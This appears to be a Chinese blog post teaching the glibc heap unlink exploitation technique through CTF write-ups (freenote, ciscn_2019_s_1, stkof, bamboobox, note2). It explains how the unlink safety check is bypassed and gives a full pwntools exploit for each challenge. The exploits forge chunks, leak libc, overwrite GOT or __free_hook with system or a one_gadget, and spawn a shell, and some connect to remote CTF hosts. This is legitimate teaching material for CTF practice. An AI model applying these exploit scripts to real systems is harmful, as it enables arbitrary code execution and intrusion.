avatar

Unlink

unlink

其目的是把一个双向链表中的空闲块拿出来,然后和目前物理相邻的 free chunk 进行合并。 –CTFWiki

原理

我们在利用 unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。

一个堆的结构如下

struct malloc_chunk {

INTERNAL_SIZE_T mchunk_prev_size;
INTERNAL_SIZE_T mchunk_size;

struct malloc_chunk* fd;
struct malloc_chunk* bk;

struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

原来的过程是

CurUm.png

如果我们通过某种方式,对P->fd,P->bk进行修改,那么

FD = P->fd = 目标地址-3 * byte
BK = P->bk = 需要改写成的值

{FD->bk=BK} = {目标地址-3 * byte + 3*byte = BK} = {目标地址 = P->bk = 需要改写成的值}
{BK->fd=FD} = {需要改写成的值+2*byte = 目标地址-3 * byte = FD}//有被破坏的风险

但是后来会有检查

//glibc-2.31/malloc/malloc.c line 1451
static void unlink_chunk (mstate av, mchunkptr p)
{
//1-检查size和下一个chunk的prev_size是否相等(不为新增)
//这个伪造的时候要注意
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

//2-新增的检查,检查FD->bk和BK->fd是否为P,主要是绕过这个检查
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

//unlink操作
fd->bk = bk;
bk->fd = fd;

.......
.......

绕过检查

在 unlink中

P->fd=P-3*byte
P->bk=P-2*byte

FD=P->fd=P-3*byte
BK=P->bk=P-2*byte

这样的话

{FD->bk=P-3*byte+3*byte} = {FD->bk=P} == P
{BK->fd=P-2*byte+2*byte} = {BK->fd=P} == P

绕过了检查,然后

{FD->bk=BK} = {P=P-2*byte}
{BK->fd=FD} = {P=P-3*byte}

那么最终*P=P-3*byte让P没有在heap里面,而是指向了Global_Pointer

*输入> *

一个双向链表中,一个可以知道地址的chunk,可以伪造chunk

*输出> *

和目前物理相邻的 free chunk 进行合并

题目的特点就是存在一个HeapAddressList的地址来存放申请的堆的地址

通过 unsafe link可以修改这个地址来达到泄露和修改的目的

e.g. 0ctf_2015_freenote

检查保护

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

代码分析

  • sub_400A49

sub_400A49

  • sub_400D87

使用了reallocrealloc因为自带free,所以带有unlink

//glibc-2.23 malloc.c line:4299
void*
_int_realloc(mstate av, mchunkptr oldp, INTERNAL_SIZE_T oldsize,
INTERNAL_SIZE_T nb)
{
........................
........................
........................
else if (next != av->top &&
!inuse (next) &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb))
{
newp = oldp;
unlink (av, next, bck, fwd);
}
  • sub_400F7D

检查出chunk不存在,但还是能free掉,造成double free,并且原文不会被删除

sub_400F7D

  • sub_400B14

既然原文不会被删除,那么就可以通过这个函数泄露libc_base和heap_addr(unsorted bin 链表)

思路

可以泄露heap地址+有管理的pointer=unlink技巧

泄露

直接用python脚本可能看起来清晰些

  • 1.申请三个chunk,最后一个防止和top_chunk合并
for i in range(3):
newnote(8,str(i)*8)

newnote(0x10,"avoid enmerching")#3
  • 2.删除第一个(idx=0)和相隔(防止合并)一个的chunk(idx=2)
deletenote(0)
deletenote(2)

leak

这样通过两个chunk,分别泄露libc baseGlobal Pointer的地址

  • 3.unlink

经过调试我们发现,Global_Pointer+0x18的地方才是idx=0的chunk,所以我们准备改写这里,同时free之前的所有chunk,让他们合并,最终让目标double free(realloc自带free),然后unlink

#unlink
deletenote(3)
deletenote(2)
deletenote(1)
deletenote(0) #all in top chunk

fakechunk = p64(0) #prev_size
fakechunk += p64(0x51) #size
fakechunk += p64(Global_Pointer+0x30-0x18) #fd
fakechunk += p64(Global_Pointer+0x30-0x10) #bk
fakechunk += "C"*0x30 #filling
fakechunk += p64(0x50) #nextchunk->prev_size
fakechunk += p64(0x20) #nextchunk->size
newnote(len(fakechunk),fakechunk)#realloc using unlink(),changed value

#double free
payload = "D"*0x80
payload += p64(0x110) + p64(0x90)
payload += "D"*0x80 + p64(0)
payload += p64(0x71) + "D"*0x60
newnote(len(payload),payload)#causing double free

overpass.png

因为是按照Global_Pointer的记录来free,那么就会free蓝框的chunk(idx=2)

  0x401064    mov    rax, qword ptr [rax]
0x401067 mov rdi, rax
► 0x40106a call free@plt <0x4006b0>
ptr: 0x1038950 ◂— 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'

0x40106f mov edi, 0x4012a3
0x401074 call puts@plt <0x4006c0>

但是和第一个有什么关系呢?等我们free完后,再看看Global_Pointer

difference.png

我们再仔细想想这个过程

按照程序中的算法 free(0x1038950),但是0x1038950prev_inuse0,那么free就会把这两个给合并,然后unlink

此时合并后的chunk P中

P->fd=(Global_Pointer+0x30)-0x18
P->bk=(Global_Pointer+0x30)-0x10

按照我们之前的分析,到了最后

{P=&P-0x18} = {P = Global_Pointer +0x18}

攻击

这个时候我们试着编辑

editnote(0,0x60,p64(8)+p64(1)+p64(8)+p64(elf.got["free"])+"A"*0x40)

按照程序的算法,我们要编辑的是

*(qword_6020A8 + 24LL * v3 + 32)//v3=idx

qword_6020A8 = Global_Pointer = 0x1037000

那么我们对idx=0编辑的是 0x1037000+0x20=0x1037020

changed.png

发现写入成功,这样的话,*(qword_6020A8 + 24LL * 0 + 32) = free@got,再改写为_libc_system就行了

完整EXP

from pwn import *
elf = ELF("freenote_x64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def listnote():
sh.sendlineafter("Your choice: ","1")

def newnote(size,text):
sh.sendlineafter("Your choice: ","2")
sh.sendlineafter("Length of new note: ",str(size))
sh.sendafter("Enter your note: ",text)

def editnote(idx,sz,text):
sh.sendlineafter("Your choice: ","3")
sh.sendlineafter("Note number: ",str(idx))
sh.sendlineafter("Length of note: ",str(sz))
sh.sendafter("Enter your note: ",text)

def deletenote(idx):
sh.sendlineafter("Your choice: ","4")
sh.sendlineafter("Note number: ",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("freenote_x64")
else:
sh = remote(ip,port)

for i in range(3):
newnote(8,str(i)*8)

newnote(0x10,"avoid enmerching")#3

deletenote(0)
deletenote(2)

newnote(0x8,'A'*0x8)#0
newnote(0x8,"B"*0x8)#2

listnote()

sh.recvuntil("0. AAAAAAAA")
Global_Pointer = u64(sh.recv(4).ljust(8,"\x00"))-0x1940
sh.recvuntil("2. BBBBBBBB")
heap_base = u64(sh.recv(6).ljust(8,"\x00"))-0x3c4b78
info("Global Pointer --> "+hex(Global_Pointer))
info("Libc Base --> "+hex(heap_base))
info("System -->"+hex(heap_base+libc.sym["system"]))

deletenote(3)
deletenote(2)
deletenote(1)
deletenote(0) #all in top chunk

gdb.attach(sh)
#unlink
fakechunk = p64(0) #prev_size
fakechunk += p64(0x51) #size
fakechunk += p64(Global_Pointer+0x30-0x18) #fd
fakechunk += p64(Global_Pointer+0x30-0x10) #bk
fakechunk += "C"*0x30 #filling
fakechunk += p64(0x50) #nextchunk->prev_size
fakechunk += p64(0x20) #nextchunk->size
newnote(len(fakechunk),fakechunk)#realloc using unlink(),changed value

payload = "D"*0x80
payload += p64(0x110) + p64(0x90)
payload += "D"*0x80 + p64(0)
payload += p64(0x71) + "D"*0x60
newnote(len(payload),payload)#causing double free
deletenote(2)

#gdb.attach(sh)
#attack
editnote(0,0x60,p64(8)+p64(1)+p64(8)+p64(elf.got["free"])+"A"*0x40)
editnote(0,0x8,p64(heap_base+libc.sym["system"]))

newnote(8,"/bin/sh\x00")
deletenote(4)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25743",0,0)

eg.ciscn_2019_s_1

一道感觉高度复杂的题

1.检查

checksec.png

2.反汇编

有四个功能

unsigned __int64 menu()
{
unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);
puts("1.malloc");
puts("2.free");
puts("3.edit");
puts("4.show");
return __readfsqword(0x28u) ^ v0;
}

ma()

ma().png

很平常的一个创建chunk的函数,其中

0x6020E0 记录了chunk的地址,0x602060记录了chunk的大小,最多可以有32个chunk

ed()

ed().png

有了一个新的固定地址:0x6022BC

sh()

sh.png

这里也记录下了一个新的地址:0x6022B8

3.思路

整理信息

几个固定地址从低到高如下

地址 变量名
0x602060 len
0x6020E0 heap
0x6022B8 key2
0x6022BC key1
  • 创建chunk的时候,返回了chunk的地址,heap有用做管理chunk地址的全局指针,具有 Unlink 漏洞的特征
  • 要getshell,就要修改程序的got表,那么就要进行信息泄露,但是 key2 锁住了对sh()的使用,那么就必须修改 key2 的值。发现 key1 的地址和 key2 的相近,就可以顺便修改 key1的值,从而可以多次使用ed()
  • 经过远程测试可以发现,可以连续对同一chunk使用fr,那么环境因该是 libc-2.27即以上的环境,BUUOJ中明确给出了环境为 Ubuntu18

攻击思路

这里有两种思路,具体看你对数据是否敏感

  1. 简单的是小伙伴cnitlrt的思路,特殊点是发现bss端上(cnitlrt的简书)

    如下

    .bss:0000000000602060 len_602060      dd 20h dup(?)           ; DATA XREF: ma+CA↑o
    .bss:0000000000602060 ; fr+AC↑o ...
    .bss:00000000006020E0 public heap_6020E0
    .bss:00000000006020E0 ; void *heap_6020E0[32]
    .bss:00000000006020E0 heap_6020E0 dq 20h dup(?) ; DATA XREF: ma+49↑o
    .bss:00000000006020E0 ; ma+B2↑o ...
    .bss:00000000006021E0 public pro
    .bss:00000000006021E0 pro db ? ;
    .bss:00000000006021E1 db ? ;
    .bss:00000000006021E2 db ? ;
    .bss:00000000006021E3 db ? ;
    ..................... .. . .
    .bss:00000000006022B8 public key2_6022B8
    .bss:00000000006022B8 key2_6022B8 dd ? ; DATA XREF: sh+17↑r
    .bss:00000000006022BC public key1_6022BC
    .bss:00000000006022BC key1_6022BC dd ? ; DATA XREF: ed+17↑r
    .bss:00000000006022BC ; ed+EC↑r ...
    .bss:00000000006022BC _bss ends

    heap_6020E0中,每个chunk占8字节,第32个就是 0x6020E0+8*32= 0x6021e0,刚好在 pro 段上面,而 pro 段距离 key1 相差 0xD8,如果通过 Unlink 到这里,直接 ma的时候向chunk中添加数据就可以直接覆写 key1key2

    • 1. 使用 Unlink 修改 key1key2
    • 2. 泄露 free_hook_libc_system
    • 3. Tcache_Dup后调用 free_hook 得到shell
  2. 还有一种,来自于博客https://blog.csdn.net/qq_37433000/article/details/107026628

    这种方法非常复杂,但是不需要对数据太敏感,通过在libc-2.27中的 chunk_overlapping 来修改 key1key2

这里先讲第一种

4.GDB

  • 1.为了之后得到unsortedbin,这里我们需要布局,同时这里的heap[32]->size,决定了之后能覆盖的大小

    #get unsorted bin
    for i in xrange(7):
    malloc(i,0xf8,str(i)*8)
    malloc(7,0xf8,'7'*8)
    malloc(32,0xf8,'20202020')
    malloc(8,0xf8,'8'*8)
    malloc(9,0xf8,"/bin/sh\x00")
  • 2.为了能够覆盖到 key1,这里就选最后一个chunk:heap[32]为要unlink的chunk

    addr = 0x6020e0+8*32
    payload = p64(0)+p64(0xf1)
    payload += p64(addr-0x18)+p64(addr-0x10)
    payload = payload.ljust(0xf0,"\x00")
    payload += p64(0xf0)
  • 3.先填满tcache,要不然unlink不会是双链表

    for i in xrange(7):
    free(i+1)
  • 4.Unlink攻击

    edit(32,payload)
    free(8)

unlink.png

2. 泄露 free_hook_libc_system

  • 1.肯定要改写两个 key 的值

    payload = p64(0x0000000000601fa0)
    payload += p64(pro-0x18)+p64(pro-0x18)
    payload += p64(pro)
    payload = payload.ljust(0xf0,'\x00')
    payload += p64(0x0000000a00000001)
    edit(32,payload)

    之前我们把heap[32]改成了 0x6021C8,那这次就是直接对0x6021C8编辑,反推算可以0x6021C8原本记录的是heap[29],那这段payload就把heap[32]改成了 0x06021e0。同时该chunk距离 key 比较近,就可以改写

    leak.png

  • 2.直接调用sh

    leak-2.png

3. Tcache_Dup后调用 free_hook 得到shell

其实这个也不算啥攻击方式,就是我们控制了一个指针

edit(32,p64(free_hook))
edit(32,p64(system))
free(9)
sh.interactive()

其实从上面那步就可以看出来,每次对heap[32]进行编辑时,我们都可以修改他得值,从而由 heap[32] -> free_hook,然后再次编辑就是在free_hook上面写了

5.exp

from pwn import *
elf = ELF("ciscn_s_1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def malloc(idx,sz,content):
sh.sendlineafter("4.show\n","1")
sh.sendlineafter("index:",str(idx))
sh.sendlineafter("size:",str(sz))
sh.recvuntil("gift: ")
addr = u64(sh.recv(6).ljust(8,"\x00"))
sh.sendafter("content:",content)
return addr

def free(idx):
sh.sendlineafter("4.show\n","2")
sh.sendlineafter("index:",str(idx))

def edit(idx,content):
sh.sendlineafter("4.show\n","3")
sh.sendlineafter("index:",str(idx))
sh.sendafter("content:",content)

def show(idx):
sh.sendlineafter("4.show\n","4")
sh.sendlineafter("index:",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("ciscn_s_1")
else:
sh = remote(ip,port)

key1 = 0x06022BC
key2 = 0x06022B8
pro = 0x6021E0
#get unsorted bin
for i in xrange(7):
malloc(i,0xf8,str(i)*8)
malloc(7,0xf8,'7'*8)
malloc(32,0xf8,'20202020')
malloc(8,0xf8,'8'*8)
malloc(9,0xf8,"/bin/sh\x00")

addr = 0x6020e0+8*32
payload = p64(0)+p64(0xf1)
payload += p64(addr-0x18)+p64(addr-0x10)
payload = payload.ljust(0xf0,"\x00")
payload += p64(0xf0)

for i in xrange(7):
free(i+1)
edit(32,payload)
free(8)

payload = p64(0x0000000000601fa0)
payload += p64(pro-0x18)+p64(pro-0x18)
payload += p64(pro)
payload = payload.ljust(0xf0,'\x00')
payload += p64(0x0000000a00000001)
edit(32,payload)
show(29)
libc_base = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.sym["free"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("libc base ==> "+hex(libc_base))
success("free_hook ==> "+hex(free_hook))
success("_libc_system ==> "+hex(system))

edit(32,p64(free_hook))
edit(32,p64(system))
free(9)
sh.interactive()

if __name__ == '__main__':
main(0,0,0,0)

e.g. hitcon_2014 stkof

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

程序太简陋了,几乎没有交互,能用的有三个功能

def add(sz):
p.snedline("1")
p.snedline(str(sz))

def edit(chunk,size,strs):
p.sendline("2")
p.sendline(chunk)
p.sendline(size)
p.sendline(strs)

def free(chunk):
p.sendline("3")
p.sendline(chunk)

sub_4009E8() edit

for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}

没有控制输入范围,可以堆溢出

全局变量s

.bss:0000000000602104                 align 40h
.bss:0000000000602140 ; char *s[1049600]
.bss:0000000000602140 s dq ? ; DATA XREF: add+78↑w
.bss:0000000000602140 ; edit+60↑r ...
.bss:0000000000602148 db ? ;
.bss:0000000000602149 db ? ;
.bss:000000000060214A db ? ;

思路

有堆溢出,有全局指针变量,没有输出函数,所以用unlink改free@gotputs,再次调用free就相当于调用puts,从而libc leak

填入onegedget或者该函数为system并执行binsh,从而getshell

3.GDB

unlink部份

#unlink
#code:
alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3

head = 0x602140 #全局变量

#fake chunk
payload = p64(0)
payload += p64(0x20)
payload += p64(head + 16 - 0x18)
payload += p64(head + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(2, len(payload), payload)

#unlink
free(3)
p.recvuntil('OK\n')
gdb.attach(p)

gdb

0x1561000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa33,
bk = 0x20,
fd_nextsize = 0x602138,
bk_nextsize = 0x602140
}
0x1562010 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1562120 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa4b4f,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1562530 FASTBIN {
prev_size = 0,
size = 65,
fd = 0x0,
bk = 0x20ac1,
fd_nextsize = 0x602138,
bk_nextsize = 0x602140
}

pwndbg> x/32gx 0x1561000
0x1561000: 0x0000000000000000 0x0000000000001011
0x1561010: 0x0000000000000a33 0x0000000000000020
fake fd fake bk
0x1561020: 0x0000000000602138 0x0000000000602140
0x1561030: 0x0000000000000020 0x6161616161616161
0x1561040: 0x0000000000000030 0x0000000000000090
0x1561050: 0x0000000000000000 0x0000000000000000
0x1561060: 0x0000000000000000 0x0000000000000000

4.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./stkof")
libc = ELF('/home/joe1sn/libc/64/libc-2.23.so')
#p = process("./stkof")
p = remote("node3.buuoj.cn","25342")

def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))


if __name__ == '__main__':

alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3

head = 0x602140 #global pointer
payload = p64(0) #prev_size
payload += p64(0x20) #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a') # overwrite global[3]'s chunk's prev_size

# make it believe that prev chunk is at global[2]
payload += p64(0x30) #0x30 is the front one whole size?

# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)

# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
free(3)
p.recvuntil('OK\n')
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)

#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()

e.g. hitcon_trainning bamboobox

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

def add(length,name):
p.sendlineafter(":","2")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
def edit(idx,length,name):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
def free(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))
def show():
p.sendlineafter(":","1")

back_door

void __noreturn magic()
{
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}

change_item

 printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
}

堆溢出

3.EXP

原版EXP方便理解所以直接拿来用了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
elf = ELF("./bamboobox")
r = process("./bamboobox")

def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

additem(0x40,"a"*8)
additem(0x80,"b"*8)
additem(0x40,"c"*8)

ptr = 0x6020c8 #global pointer
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40) #fd_nextsize
fake_chunk += p64(0x90) #bk_nextsize

modify(0,0x80,fake_chunk) #unlink
remove(1)

payload = p64(0)*2
payload += p64(0x40) + p64(elf.got["atoi"])
modify(0,0x80,payload)
show() #libc base leak
r.recvuntil("0 : ")
atoi = u64(r.recvuntil(":")[:6].ljust(8,"\x00"))
libc = atoi - 0x36e80
print "libc:",hex(libc)
system = libc + 0x45390

modify(0,0x8,p64(system))
r.recvuntil(":")
r.sendline("sh")
r.interactive()

这里可以看见我们伪造的堆结构:

ptr = 0x6020c8
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40) #fd_nextsize
fake_chunk += p64(0x90) #bk_nextsize

e.g. zctf2016_note2

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

bss段

.bss:0000000000602120 HeapAddrList    dq ?                    ; DATA XREF: add_note+94↑w
.bss:0000000000602120 ; delete_note+2F↑r ...
.bss:0000000000602128 align 20h
.bss:0000000000602140 ; __int64 HeapList[]
.bss:0000000000602140 HeapList dq ? ; DATA XREF: add_note+A7↑w
.bss:0000000000602140 ; delete_note+67↑w ...
.bss:0000000000602148 align 20h
.bss:0000000000602160 heap_number dd ? ; DATA XREF: add_note+8↑r
.bss:0000000000602160 ; add_note+88↑r ...
.bss:0000000000602164 align 20h
.bss:0000000000602180 unk_602180 db ? ; ; DATA XREF: main+9A↑o

使用了一个地址来存放所有申请到的堆的地址

使用unsafe unlink来获得free@got的地址,通过show函数泄露出来,

最后使用edit函数将free@got修改为onegadget

3.EXP

#coding=utf-8
from pwn import *
context.log_level ="debug"
#DEBUG = 0
sh = process("./note2")
#sh = remote("node3.buuoj.cn","29856")
elf = ELF("./note2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def new_note(size, content):
sh.recvuntil(">>")
sh.sendline("1")
sh.recvuntil(")")
sh.sendline(str(size))
sh.recvuntil(":")
sh.sendline(content)

def show_note(index):
sh.recvuntil(">>")
sh.sendline("2")
sh.recvuntil(":")
sh.sendline(str(index))

def edit_note(index, choice, content):
sh.recvuntil(">>")
sh.sendline("3")
sh.recvuntil(":")
sh.sendline(str(index))
sh.recvuntil("]")
sh.sendline(str(choice))
sh.recvuntil(":")
sh.sendline(content)

def delete_note(index):
sh.recvuntil(">>")
sh.sendline("4")
sh.recvuntil(":")
sh.sendline(str(index))

sh.recvuntil(":")
sh.sendline("zzz")
sh.recvuntil(":")
sh.sendline("ddd")

ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
note0_content = p64(0) + p64(0xa1) + p64(fake_fd) + p64(fake_bk)

new_note(0x80, note0_content) #note0

new_note(0x0, "aa") #note1
new_note(0x80, "bb") #note2

delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)#note3
delete_note(2) #unlink

free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
edit_note(0, 1, payload)

show_note(0)
sh.recvuntil("is ")

free_addr = u64(sh.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
success("free address: " + hex(free_addr))
success("libc address: " + hex(libc_addr))

#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address

sh.interactive()
Author: Joe1sn
Link: http://blog.joe1sn.top/2020/heap_learning_part2-Unlink/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信